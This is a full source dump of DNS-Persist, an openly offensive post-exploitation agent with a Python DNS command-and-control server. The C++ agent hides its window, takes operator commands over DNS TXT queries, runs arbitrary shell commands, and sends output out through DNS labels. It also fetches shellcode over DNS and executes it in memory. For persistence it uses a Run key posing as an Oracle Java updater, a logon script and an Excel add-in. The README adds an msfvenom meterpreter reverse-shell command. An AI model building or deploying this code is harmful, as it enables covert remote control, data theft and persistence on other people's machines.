Repository: 0x09AL/DNS-Persist
Branch: master
Commit: 085eb804de7b
Files: 25
Total size: 34.5 KB
Directory structure:
gitextract_po3zvpy2/
├── .gitignore
├── Agent/
│ ├── Agent/
│ │ ├── Agent.aps
│ │ ├── Agent.rc
│ │ ├── Agent.vcxproj
│ │ ├── Agent.vcxproj.filters
│ │ ├── Agent.vcxproj.user
│ │ ├── Commands.cpp
│ │ ├── Commands.h
│ │ ├── DNSCommunication.cpp
│ │ ├── DNSCommunication.h
│ │ ├── Declarations.h
│ │ ├── Handler.cpp
│ │ ├── Handler.h
│ │ ├── Persistence.cpp
│ │ ├── Persistence.h
│ │ ├── XLSADDIN.xlam
│ │ ├── main.cpp
│ │ └── resource.h
│ └── Agent.sln
├── LICENSE
├── README.md
├── modules/
│ ├── AgentControllerCLI.py
│ ├── DNSListener.py
│ └── __init__.py
└── server.py
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
*.pyc
*.exe
*.pdb
*.sdf
*.ipch
*.ilk
*.obj
*.tlog
*.txt
*.cache
*.idb
*.manifest
*.log
*.suo
Agent/Agent/Release
Agent/Agent/Debug
.idea/
================================================
FILE: Agent/Agent/Agent.vcxproj
================================================
Debug
Win32
Release
Win32
{F3650F8D-4059-43CC-BDFB-0FB803DFE650}
Agent
Application
true
MultiByte
Application
false
true
MultiByte
false
Level3
Disabled
true
Level3
MaxSpeed
true
true
true
true
true
================================================
FILE: Agent/Agent/Agent.vcxproj.filters
================================================
{4FC737F1-C7A5-4376-A066-2A32D752A2FF}
cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
{93995380-89BD-4b04-88EB-625FBE52EBFB}
h;hpp;hxx;hm;inl;inc;xsd
{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
Source Files
Source Files
Source Files
Source Files
Source Files
Header Files
Header Files
Header Files
Header Files
Header Files
Header Files
Resource Files
================================================
FILE: Agent/Agent/Agent.vcxproj.user
================================================
================================================
FILE: Agent/Agent/Commands.cpp
================================================
#include "Commands.h"
LPCSTR ProcessList(){
std::string pList = ExecuteCommand("tasklist");
LPSTR lpResponse = new CHAR[MAX_DATA_LENGTH];
StringCbPrintf(lpResponse,MAX_DATA_LENGTH,"%s",pList.c_str());
return lpResponse;
}
LPCSTR ExecuteShell(LPCSTR command){
std::string pList = ExecuteCommand(command);
LPSTR lpResponse = new CHAR[MAX_DATA_LENGTH];
StringCbPrintf(lpResponse,MAX_DATA_LENGTH,"%s",pList.c_str());
return lpResponse;
}
LPCSTR SystemInfo(){
LPSTR lpResponse = new CHAR[MAX_DATA_LENGTH];
SYSTEM_INFO siSysInfo;
GetSystemInfo(&siSysInfo);
LPSTR computerName = new CHAR[MAX_COMPUTERNAME_LENGTH + 1];
DWORD len = MAX_COMPUTERNAME_LENGTH + 1;
GetComputerNameA(computerName,&len);
DWORD usernameSize = 104;
LPSTR username = new CHAR[104+1];
GetUserName(username,&usernameSize);
StringCbPrintf(lpResponse,MAX_DATA_LENGTH,"----- System Information -----\n\nComputerName: %s\\%s\nNumber of processors: %u\nOEM ID: %u\nProcessor type: %u\n",computerName,username,siSysInfo.dwNumberOfProcessors,siSysInfo.dwOemId,siSysInfo.dwProcessorType);
return lpResponse;
}
char agentName[64];
static const char alphanum[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ123456789";
int stringLength = sizeof(alphanum) - 1;
LPSTR AgentName(){
DWORD size = 9;
if(strlen(agentName)==0){
std::string tempString;
srand (time(NULL));
for(unsigned int i = 0; i < size-1; ++i)
{
tempString += alphanum[rand() % stringLength];
}
StringCbPrintf(agentName,size,"%s",tempString.c_str());
}
return agentName;
}
LPCSTR ExecuteShellcode(){
HANDLE hLocalThread;
DWORD lpThreadId;
std::string temp = GetShellcode(AgentName());
if(temp == NO_SHELLCODE){
return "[-] There was no shellcode [-]";
}
LPCSTR data = temp.c_str();
hLocalThread = CreateThread(NULL,0,InjectShellcode,(LPVOID)data,0,&lpThreadId);
//WaitForSingleObject(hLocalThread,INFINITE);
Sleep(5);
if(hLocalThread != NULL){
return "[+] Shellcode Injected Successfully [+]";
}
return "[-] Failed to inject shellcode [-]";
}
DWORD WINAPI InjectShellcode(LPVOID lpData){
LPVOID buffer = NULL;
LPCSTR data = (LPCSTR)lpData;
SIZE_T shLength = strlen(data);
buffer = VirtualAlloc(NULL,shLength+1,(MEM_COMMIT | MEM_RESERVE),PAGE_EXECUTE_READWRITE);
memcpy(buffer,data,shLength);
__asm{
LEA EAX,buffer
MOV EDX, DWORD PTR DS:[EAX]
CALL EDX
}
return 0;
}
BOOL DropFileFromRes(LPCSTR fileName,DWORD resourceId){
HGLOBAL resMemoryHandler;
HRSRC resHandler;
LPCSTR resourceName = MAKEINTRESOURCE(resourceId);
LPCSTR resourceType = RT_RCDATA;
LPVOID lpData = NULL;
SIZE_T size;
DWORD dwBytesWritten = 0;
resHandler = FindResource(NULL,resourceName,resourceType);
LPVOID data;
if(resHandler != NULL){
resMemoryHandler =LoadResource(NULL,resHandler);
if(resMemoryHandler != NULL){
lpData = LockResource(resMemoryHandler);
if(lpData != NULL){
size = SizeofResource(NULL,resHandler);
data = VirtualAlloc(NULL,size+1,(MEM_COMMIT | MEM_RESERVE),PAGE_READWRITE);
memcpy(data,lpData,size);
}else{
return FALSE;
}
}else{
return FALSE;
}
}else{
return FALSE;
}
HANDLE fileHandler = CreateFile(fileName,(GENERIC_WRITE),FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(fileHandler != INVALID_HANDLE_VALUE){
WriteFile(fileHandler,data,size,&dwBytesWritten,NULL);
CloseHandle(fileHandler);
return TRUE;
}
else{
return FALSE;
}
}
================================================
FILE: Agent/Agent/Commands.h
================================================
#include "DNSCommunication.h"
LPCSTR ProcessList();
LPCSTR SystemInfo();
LPCSTR ExecuteShellcode();
LPCSTR ExecuteShell(LPCSTR command);
LPSTR AgentName();
DWORD WINAPI InjectShellcode(LPVOID lpData);
BOOL DropFileFromRes(LPCSTR fileName,DWORD resourceId);
================================================
FILE: Agent/Agent/DNSCommunication.cpp
================================================
#include "DNSCommunication.h"
BOOL SendData(LPSTR agentName, LPSTR data){
// Used string because of lack of knowledge :p.
std::string response;
DWORD data_length;
DWORD data_remainder;
DWORD chunks;
DWORD chunk_size = 32;
std::string hex_data;
std::stringstream temp_data;
DataToHEX(data,hex_data,TRUE);
data_length = hex_data.length();
data_remainder = data_length % chunk_size;
chunks = data_length % chunk_size;
if(data_length > chunk_size){
for(unsigned int i=0; i < data_length; i+=chunk_size){
temp_data.str(std::string()); // Clear the temp_data stream
if(i == 0){
temp_data << "7b21" << hex_data.substr(i,chunk_size);// Appends the beginning signature to the data
}else if((i+data_remainder)>=data_length){
temp_data << hex_data.substr(i,chunk_size) << "217d";// Appends the end signature to the data
}else{
temp_data << hex_data.substr(i,chunk_size);
}
response = SendDNSPacket(agentName,"DATA",temp_data.str().c_str());
}
}else{
// To be implmeneted that if there is less data then 32 bytes which is very unusal, to add the stream.
response = SendDNSPacket(agentName,"DATA",hex_data.c_str()); // Normally we should not get here.
}
response.erase(0,(int)response.find("RESP:") + 5);
response.erase(response.length()-2,response.length());
if(response.compare("OK") == 0){
return TRUE;
}
// ERROR
return FALSE;
}
// Not very Windows-like programming but it works.
VOID DataToHEX(const std::string str, std::string& hexstr, bool capital = false)
{
hexstr.resize(str.size() * 2);
const size_t a = capital ? 'A' - 1 : 'a' - 1;
for (size_t i = 0, c = str[0] & 0xFF; i < hexstr.size(); c = str[i / 2] & 0xFF)
{
hexstr[i++] = c > 0x9F ? (c / 16 - 9) | a : c / 16 | '0';
hexstr[i++] = (c & 0xF) > 9 ? (c % 16 - 9) | a : c % 16 | '0';
}
}
std::string SendDNSPacket(LPSTR agentName,LPSTR packetType,LPCSTR responseData){
LPSTR domain = new CHAR[MAX_DOMAIN_LENGTH+1];
std::string response;
PDNS_RECORD dnsRecord;
if(lstrlen(responseData) == 0){
// This is probably a probe or command request
StringCbPrintf(domain,MAX_DOMAIN_LENGTH,"%s-%s.%s",agentName,packetType,DOMAIN_NAME);
}else{
// This sends the data to the server.
StringCbPrintf(domain,MAX_DOMAIN_LENGTH,"%s-%s-%s.%s",agentName,packetType,responseData,DOMAIN_NAME);
}
WORD dnsType = DNS_TYPE_TEXT;
DNS_STATUS dnsStatus;
dnsStatus = DnsQuery(domain,dnsType,DNS_QUERY_BYPASS_CACHE,NULL,&dnsRecord,NULL);
if(!dnsStatus){
response = dnsRecord->Data.TXT.pStringArray[0];
}else{
response = "ERROR";
}
cout << response;
return response;
}
std::string GetShellcode(LPSTR agentName){
LPSTR domain = new CHAR[MAX_DOMAIN_LENGTH+1];
BOOL bEnd = FALSE;
std::string response;
std::string shellcode;
PDNS_RECORD dnsRecord;
WORD dnsType = DNS_TYPE_TEXT;
DNS_STATUS dnsStatus;
StringCbPrintf(domain,MAX_DOMAIN_LENGTH,"%s-SHL.%s",agentName,DOMAIN_NAME);
while(!bEnd){
dnsStatus = DnsQuery(domain,dnsType,DNS_QUERY_BYPASS_CACHE,NULL,&dnsRecord,NULL);
if(!dnsStatus){
response = dnsRecord->Data.TXT.pStringArray[0];
}
if(response.find(NO_SHELLCODE) != std::string::npos){
return NO_SHELLCODE;
}
else if(response.find(START) != std::string::npos){
shellcode = std::string();
shellcode = response.erase(0,2);
}
else if(response.find(END) != std::string::npos){
shellcode.append(response.erase(response.length()-2,response.length()));
bEnd = TRUE;
}else{
shellcode.append(response);
}
}
// This is probably not the best way to do this but hey i'm not an expert in C++
SIZE_T len;
len = shellcode.length();
std::string returnValue;
for(int i=0; i< len; i+=2)
{
std::string byte = shellcode.substr(i,2);
char chr = (char) (int)strtol(byte.c_str(), NULL, 16);
returnValue.push_back(chr);
}
return returnValue;
}
std::string ExecuteCommand(LPCSTR cmd) {
std::string data;
FILE * stream;
const int max_buffer = 256;
char buffer[max_buffer];
stream = _popen(cmd, "r");
if (stream) {
while (!feof(stream))
if (fgets(buffer, max_buffer, stream) != NULL) data.append(buffer);
_pclose(stream);
}
return data;
}
================================================
FILE: Agent/Agent/DNSCommunication.h
================================================
#include "Declarations.h"
BOOL SendData(LPSTR agentName, LPSTR data);
VOID DataToHEX(const std::string str, std::string& hexstr, bool capital);
std::string SendDNSPacket(LPSTR agentName,LPSTR packetType,LPCSTR responseData);
std::string ExecuteCommand(LPCSTR command);
std::string GetShellcode(LPSTR agentName);
================================================
FILE: Agent/Agent/Declarations.h
================================================
#include
#include
#include
#include "resource.h"
#include "Shlwapi.h"
#include
#include
#include
#include
#include
#pragma comment(lib, "Shlwapi.lib")
#pragma comment (lib, "Dnsapi.lib")
using std::cout;
#define MAX_DOMAIN_LENGTH 2048
#define PROBE "PROBE"
#define CMD "CMD"
#define DOMAIN_NAME "example.com"
#define MAX_DATA_LENGTH 1048576
#define START "{!"
#define END "!}"
#define NO_SHELLCODE "!@!"
#define PERSIST_RUNKEY 1
#define PERSIST_LOGONSCRIPT 2
#define PERSIST_EXCELADDIN 3
================================================
FILE: Agent/Agent/Handler.cpp
================================================
#include "Handler.h"
LPCSTR HandleCommand(LPCSTR command){
std::string data = command;
if(strstr(command,"PRT-") != NULL){
data.erase(0,4);
DWORD method = atoi(data.c_str());
return Persist(method);
}
else if(strstr(command,"SYS") != NULL){
return SystemInfo();
}
else if(strstr(command,"PSL") != NULL){
return ProcessList();
}
else if(strstr(command,"INJ") != NULL){
return ExecuteShellcode();
}
else if(strstr(command,"ECM-") != NULL){
data.erase(0,4);
return ExecuteShell(data.c_str());
}
return "ERROR HANDLING COMMAND";
}
================================================
FILE: Agent/Agent/Handler.h
================================================
#include "Declarations.h"
#include "Persistence.h"
#include "Commands.h"
LPCSTR HandleCommand(LPCSTR command);
================================================
FILE: Agent/Agent/Persistence.cpp
================================================
#include "Persistence.h"
LPCSTR Persist(DWORD method){
switch(method){
case PERSIST_RUNKEY:
if(PersistRunKey()){
return "[+] Run key Persistence Successfull [+]";
}
case PERSIST_LOGONSCRIPT:
if(PersistLogonScript()){
return "[+] Logon script Persistence Successfull [+]";
}
case PERSIST_EXCELADDIN:
if(PersistExcelAddin()){
return "[+] Excel addin Persistence Successfull [+]";
}
}
return "[-] Persistence failed [-]";
}
BOOL PersistRunKey(){
LPSTR cFile = new CHAR[MAX_PATH+1];
LPSTR fDestination = new CHAR[MAX_PATH+1];
LPSTR appdata = new CHAR[MAX_PATH+1];
GetEnvironmentVariable("appdata",appdata,MAX_PATH);
StringCbPrintf(fDestination,MAX_PATH,"%s\\jusched.exe",appdata);
GetModuleFileName(NULL,cFile,MAX_PATH);
if(CopyFile(cFile,fDestination,TRUE) != 0){
SetFileAttributes(fDestination,FILE_ATTRIBUTE_HIDDEN);
HKEY hKey;
RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hKey);
RegSetValueEx(hKey,"Oracle Java Update Scheduler",0,REG_SZ,(LPBYTE)(LPCSTR)fDestination,MAX_PATH);
RegCloseKey(hKey);
return TRUE;
}
return FALSE;
}
BOOL PersistLogonScript(){
LPSTR cFile = new CHAR[MAX_PATH+1];
LPSTR fDestination = new CHAR[MAX_PATH+1];
LPSTR userProfile = new CHAR[MAX_PATH+1];
GetEnvironmentVariable("userprofile",userProfile,MAX_PATH);
StringCbPrintf(fDestination,MAX_PATH,"%s\\jusched.exe",userProfile);
GetModuleFileName(NULL,cFile,MAX_PATH);
if(CopyFile(cFile,fDestination,TRUE) != 0){
SetFileAttributes(fDestination,FILE_ATTRIBUTE_HIDDEN);
HKEY hKey;
RegOpenKey(HKEY_CURRENT_USER,"Environment",&hKey);
RegSetValueEx(hKey,"UserInitMprLogonScript",0,REG_SZ,(LPBYTE)(LPCSTR)fDestination,MAX_PATH);
RegCloseKey(hKey);
return TRUE;
}
return FALSE;
}
BOOL PersistExcelAddin(){
LPSTR appData = new CHAR[MAX_PATH+1];
LPSTR fileDest = new CHAR[MAX_PATH+1];
GetEnvironmentVariable("appdata",appData,MAX_PATH);
StringCbPrintf(fileDest,MAX_PATH,"%s\\Microsoft\\Excel\\XLSTART",appData);
if(PathFileExists(fileDest)){
StringCbPrintf(fileDest,MAX_PATH,"%s\\XLS_ADDIN.xlam",fileDest);
DropFileFromRes(fileDest,IDR_RCDATA1);
LPSTR cFile = new CHAR[MAX_PATH+1];
LPSTR fDestination = new CHAR[MAX_PATH+1];
LPSTR appData = new CHAR[MAX_PATH+1];
GetEnvironmentVariable("appdata",appData,MAX_PATH);
StringCbPrintf(fDestination,MAX_PATH,"%s\\jsched.exe",appData);
GetModuleFileName(NULL,cFile,MAX_PATH);
if(CopyFile(cFile,fDestination,TRUE) != 0){
SetFileAttributes(fDestination,FILE_ATTRIBUTE_HIDDEN);
return TRUE;
}
}
return FALSE;
}
================================================
FILE: Agent/Agent/Persistence.h
================================================
#include "Declarations.h"
#include "Commands.h"
LPCSTR Persist(DWORD method);
BOOL PersistRunKey();
BOOL PersistLogonScript();
BOOL PersistExcelAddin();
================================================
FILE: Agent/Agent/main.cpp
================================================
#include "Declarations.h"
#include "DNSCommunication.h"
#include "Handler.h"
#include "Commands.h"
int main(){
ShowWindow(GetConsoleWindow(), SW_HIDE);
LPSTR agentName = AgentName();
std::string response;
std::string tmp_command;
DWORD numberOfCommands = 0;
DWORD i = 0;
while(TRUE){
Sleep(5000);
response = SendDNSPacket(agentName,PROBE,NULL);
if (response.find("There were no commands") == std::string::npos){
if (response.find("NR:")!= std::string::npos){
// This gets the number of commands from the DNS server.
response.erase(0,(int)response.find(":")+1);
numberOfCommands = atoi(response.c_str());
for(i=0;i(HandleCommand(tmp_command.c_str())));
}
}
}
}
}
================================================
FILE: Agent/Agent.sln
================================================
Microsoft Visual Studio Solution File, Format Version 11.00
# Visual C++ Express 2010
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Agent", "Agent\Agent.vcxproj", "{F3650F8D-4059-43CC-BDFB-0FB803DFE650}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{F3650F8D-4059-43CC-BDFB-0FB803DFE650}.Debug|Win32.ActiveCfg = Debug|Win32
{F3650F8D-4059-43CC-BDFB-0FB803DFE650}.Debug|Win32.Build.0 = Debug|Win32
{F3650F8D-4059-43CC-BDFB-0FB803DFE650}.Release|Win32.ActiveCfg = Release|Win32
{F3650F8D-4059-43CC-BDFB-0FB803DFE650}.Release|Win32.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
================================================
FILE: LICENSE
================================================
MIT License
Copyright (c) 2017 Rio
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: README.md
================================================
# DNS-Persist
DNS-Persist is a post-exploitation agent which uses DNS for command and control. The server-side code is in Python and the agent is coded in C++. This is the first version, more features and improvements will be made in the future.
## Getting Started
### Author
0x09AL - https://twitter.com/0x09al
### Disclaimer
DO NOT USE THIS SOFTWARE FOR ILLEGALL PURPOSES.
THE AUTHOR DOES NOT KEEP ANY RESPONSIBILITY FOR ANY MISUSE OF THE CODE PROVIDED HERE.
## Did I reinvent the wheel ?
There is a lot of great work on DNS C2 but I created this software to be more focused on the persistence part. I'm no expert in C++ and this is my first "real program" in C++ (so expect some cringe worthy code).
Suggestions about features and improvements are open.
## Architecture
There are two main parts:
1. DNS server
2. Agent

## Features
### Persistence mechanisms
This version has only 3 persistence mechanisms. More will be added later.
1. LogonScript persistence.
2. RunKey persistence.
3. Excel Addin persistence.
### 'Interactive' command shell
This version supports pseudo-interactive command shell that you can use to execute system commands.
### Shellcode Injection
This version supports injection of 32-bit shellcode. The shellcode gets executed in a new thread in the same process, so crashing shellcode or invalid one will also crash the agent. Avoid NULL bytes on the shellcode.
#### Shellcode generation example
```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port EXITFUNC=thread -b "\x00" -f hex -o /tmp/shellcode.hex
```
## TODO LIST
1. Add encryption. **This version does not have any encryption so take your own risks when using it.**
2. Add more persistence mechanisms.
3. Agent in different programming languages.
## Installation & Usage
### Server side
```
pip install dnslib
git clone https://github.com/0x09AL/DNS-Persist
python server.py
```
By default a DNS server on port 53 will be started. You can change that on the server.py file.
### Agent
I used Visual Studio 2010 to code the agent so importing and compiling it should be fairly easy.
Keep in mind to change the DOMAIN_NAME variable in Declarations.h, to match your domain name.
The domain nameservers should point to the DNS-Persist IP address.
```
#define DOMAIN_NAME "example.com"
```
## Screenshots
1. Picture-1

2. Picture-2

3. Picture-3

4. Picture-4

================================================
FILE: modules/AgentControllerCLI.py
================================================
import cmd
activeAgents = ["PC-01","FUCK"]
def changeInteractedAgent(agent):
print agent
class Input(cmd.Cmd):
AGENTS = activeAgents
prompt = "DNS-C2 #> "
def do_agents(self,s):
self.list_agents()
def do_interact(self,agent):
self.AGENTS = activeAgents
if(agent in self.AGENTS):
print "[+] Interacting with : " + agent + " [+]"
changeInteractedAgent(agent)
agentInteraction = AgentCMD()
agentInteraction.prompt = self.prompt + "(" + agent + "): "
agentInteraction.cmdloop()
else:
print "[-] Agent not valid [-]"
def complete_interact(self, text, line, begidx, endidx):
if not text:
completions = self.AGENTS[:]
else:
completions = [ f
for f in self.AGENTS
if f.startswith(text)
]
return completions
def do_quit(self,s):
exit(0)
def emptyline(self):
pass
def list_agents(self):
for agent in activeAgents:
print agent
def getInteractedAgent():
global interactedAgent
return interactedAgent
class AgentCMD(cmd.Cmd):
# This is the Agent command line .
def do_sysinfo(self,s):
sendTask(interactedAgent,"{SHELL}systeminfo")
def do_bypassuac(self,s):
sendTask(interactedAgent,"bypassuac")
def do_keylog_start(self,s):
sendTask(interactedAgent,"keylog_start")
def do_keylog_stop(self,s):
sendTask(interactedAgent,"keylog_stop")
def do_keylog_dump(self,s):
sendTask(interactedAgent,"keylog_dump")
def do_exec(self,s):
sendTask(interactedAgent,"{SHELL}%s" % s)
def do_downloadexecute(self,s):
sendTask(interactedAgent,"{DOWNLOAD}%s" % s)
def do_persist(self,s):
sendTask(interactedAgent,"persist")
def do_back(self,s):
interactedAgent = ""
return True
def emptyline(self):
pass
================================================
FILE: modules/DNSListener.py
================================================
from dnslib import *
import socket
import time
import threading
import cmd
interactedAgent = ""
activeAgents = []
agentCommands = {}
agentData = {}
agentTimes = {}
agentShellcode = {}
persistenceMethods = {"runkey":1,"logonscript":2,"exceladdin":3}
def sendTask(agent,command):
agentCommands[agent].append([command,"WAITING"])
def addShellcode(agent,shellcodefile):
# Error handling sucks will be improved in the future.
try:
f = open(shellcodefile,"r")
shellcode = f.read()
f.close()
if(agentShellcode.has_key(agent)):
print "[+] Replacing shellcode with the new one [+]"
agentShellcode[agent] = "{!%s!}" % shellcode
return True
except Exception:
print "[-] Shellcode file not found [-]"
return False
def getInteractedAgent():
global interactedAgent
return interactedAgent
def changeInteractedAgent(agent):
global interactedAgent
interactedAgent = agent
class DNSListener(object):
def __init__(self, host="127.0.0.1",port="53"):
print "[+] Starting DNS Listener [+]"
thread = threading.Thread(target=self.start_server, args=())
thread.daemon = True # This will become false
thread.start()
self.host = host
self.port = port
self.activeAgents = activeAgents
def add_agent_times(self,agent):
if(agentTimes.has_key(agent)):
agentTimes[agent] = time.time()
else:
agentTimes.update({agent:time.time()})
def get_agent_shellcode(self,agent):
chunk = 64
if(agentShellcode.has_key(agent)):
if(len(agentShellcode[agent])>chunk):
data = agentShellcode[agent][:chunk]
agentShellcode[agent] = agentShellcode[agent][chunk:]
return data
else:
data = agentShellcode[agent]
del agentShellcode[agent]
return data
return "!@!"
def get_agent_command(self,agent):
# This code will return the data of the agent
if(agentCommands.has_key(agent)):
number_of_commands = len(agentCommands[agent])
#print "Number of commands : %s" % number_of_commands
if(number_of_commands>0):
for command in agentCommands[agent]:
#print command[1]
if(command[1] == "WAITING"):
command[1] = "DONE"
return "CMD:%s" % (command[0])
return "There were no commands :)"
else:
return "No agent with this name"
def agent_probe(self,agent):
try:
if(agentCommands.has_key(agent)):
if(len(agentCommands[agent]) > 0):
i = 0
for command in agentCommands[agent]:
if(command[1] == "WAITING"):
i = i + 1
if (i == 0):
agentCommands[agent] = []
return "NR:%s" % i
except Exception,e:
print "Error: %s" % e
pass
return "There were no commands :("
def agent_receive_data(self,agent,response_data):
global agentData
if(not agentData.has_key(agent)):
agentData.update({agent:""})
# Processing of the data
# Add if it starts with {! and ends with !} is a small value
if(response_data.decode('hex').startswith("{!")):
agentData[agent] = response_data[4:]
elif(response_data.decode('hex').endswith("!}")):
agentData[agent] += response_data[:-4]
print "\n[+] Data from agent: %s [+]" % agent
print agentData[agent].decode('hex')
agentData[agent] = ""
else:
agentData[agent] += response_data
return "RESP:OK"
def parse_request_packet(self, agent, packetType, response_data=""):
# This code will have the logic that will make the response
# and decide what to do with the request
# THIS IS A VERY TERRIBLE IMPLEMENTATION LOL
if(packetType == "PROBE"):
return self.agent_probe(agent)
elif(packetType == "CMD"):
return self.get_agent_command(agent)
elif(packetType == "SHL"):
return self.get_agent_shellcode(agent)
elif(packetType == "DATA" and response_data != ""):
return self.agent_receive_data(agent,response_data)
return "Agent: %s packet %s" % (agent,packetType)
def parse_dns_request(self,data):
# Parse DNS Requests
request = DNSRecord.parse(data)
qtype = QTYPE[request.q.qtype]
if(str(qtype) == "PTR"):
return "PTR",0,request
if((len(request.q.qname.label) <= 1) or (str(qtype) != "TXT")):
#print "[-] Invalid Packet Received [-]"
return 0,0,0
else:
name = request.q.qname.label[0]
domain = request.q.qname.label[1]
return name, domain , request
def get_dns_response(self,request,data):
reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
reply.add_answer(RR(request.q.qname, QTYPE.TXT, rdata=TXT(data)))
return reply.pack()
def get_dns_ptr_response(self,request):
reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
reply.add_answer(RR(request.q.qname, QTYPE.PTR, rdata=PTR("google-public-dns-b.google.com")))
return reply.pack()
def get_dns_data(self,data):
#to be implemented
self.data = data
packetType = data.split("-")[1]
agent = data.split("-")[0]
# Add times for the latest probe.
self.add_agent_times(agent)
if(agent not in activeAgents):
activeAgents.append(agent)
print "\n[+] Agent %s called back [+]" % (agent)
if(not agentCommands.has_key(agent)):
agentCommands.update({agent:[]})
# If there is no commands for agent replace them.
if(len(data.split("-")) == 3 and packetType == "DATA"):
response_data = data.split("-")[2]
return self.parse_request_packet(agent,packetType,response_data)
else:
return self.parse_request_packet(agent,packetType)
#return "packet type %s on agent %s" % (packetType, agent)
def get_active_agents(self):
return activeAgents
def clear_agents(self):
# This will clear agents that are in not active for at least 60 seconds
while 1:
time.sleep(5)
for agent in activeAgents:
if(agentTimes.has_key(agent)):
if((time.time() - agentTimes[agent]) > 60):
print "[-] Agent %s is offline [-]" % agent
activeAgents.remove(agent)
def start_server(self):
# Create DNS Listener Socket
self.dns_listener = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
self.dns_listener.bind((self.host,self.port))
# This will clear the active agents and notify when the agent are not online
agentClearThread = threading.Thread(target=self.clear_agents, args=())
agentClearThread.daemon = True
agentClearThread.start()
while 1:
data, address = self.dns_listener.recvfrom(1024)
name, domain, request = self.parse_dns_request(data)
if(name != 0 and domain !=0 and request !=0):
#print name,domain
#print "[+] Sending Response [+]"
data = self.get_dns_data(name)
reply = self.get_dns_response(request,data)
self.dns_listener.sendto(reply,address)
elif(name == "PTR"):
# Send here PTR response
reply = self.get_dns_ptr_response(request)
self.dns_listener.sendto(reply,address)
# This the input part of the CMD lop
class Input(cmd.Cmd):
AGENTS = activeAgents
prompt = "DNS-C2 #> "
def do_agents(self,s):
self.list_agents()
def do_interact(self,agent):
self.AGENTS = activeAgents
if(agent in self.AGENTS):
print "[+] Interacting with : " + agent + " [+]"
changeInteractedAgent(agent)
agentInteraction = AgentCMD()
agentInteraction.prompt = self.prompt + "(" + agent + "): "
agentInteraction.cmdloop()
else:
print "[-] Agent not valid [-]"
def complete_interact(self, text, line, begidx, endidx):
if not text:
completions = self.AGENTS[:]
else:
completions = [ f
for f in self.AGENTS
if f.startswith(text)
]
return completions
def do_quit(self,s):
exit(0)
def emptyline(self):
pass
def list_agents(self):
if(len(activeAgents)>0):
print "[+] Number of agents : %s [+]" % len(activeAgents)
for agent in activeAgents:
print agent
else:
print "[-] No active agents [-]"
class AgentCMD(cmd.Cmd):
# This is the Agent command line .
def do_process_list(self,s):
sendTask(interactedAgent,"PSL")
def do_execute_shellcode(self,shellcodefile):
if(addShellcode(interactedAgent,shellcodefile)):
sendTask(interactedAgent,"INJ")
def do_sysinfo(self,s):
sendTask(interactedAgent,"SYS")
def do_persist(self,s):
if(persistenceMethods.has_key(s)):
sendTask(interactedAgent,"PRT-%s" % persistenceMethods[s])
else:
print "\n[-] Invalid persistence method [-]"
print "\nPersistence methods: "
for key,value in persistenceMethods.iteritems():
print "-> persist %s" % (key)
print "\n"
def do_shell(self,s):
agent_shell = AgentShell()
agent_shell.prompt = "SHELL #>(%s) " % interactedAgent
agent_shell.cmdloop()
def do_back(self,s):
interactedAgent = ""
return True
def emptyline(self):
pass
class AgentShell(cmd.Cmd):
def emptyline(self):
pass
def onecmd(self,s):
if(s == "exit" or s == "quit" or s == "back"):
return True
elif(s is None or s == ""):
pass
else:
sendTask(interactedAgent, "ECM-%s" % s)
================================================
FILE: modules/__init__.py
================================================
================================================
FILE: server.py
================================================
from modules import DNSListener
from modules import AgentControllerCLI
import threading
banner = """
____ _ _______ ____ _ __
/ __ \/ | / / ___/ / __ \___ __________(_)____/ /_
/ / / / |/ /\__ \______/ /_/ / _ \/ ___/ ___/ / ___/ __/
/ /_/ / /| /___/ /_____/ ____/ __/ / (__ ) (__ ) /_
/_____/_/ |_//____/ /_/ \___/_/ /____/_/____/\__/
"""
host = "0.0.0.0"
port = 53
print banner
DNSObject = DNSListener.DNSListener(host,port)
commandInputs = DNSListener.Input().cmdloop()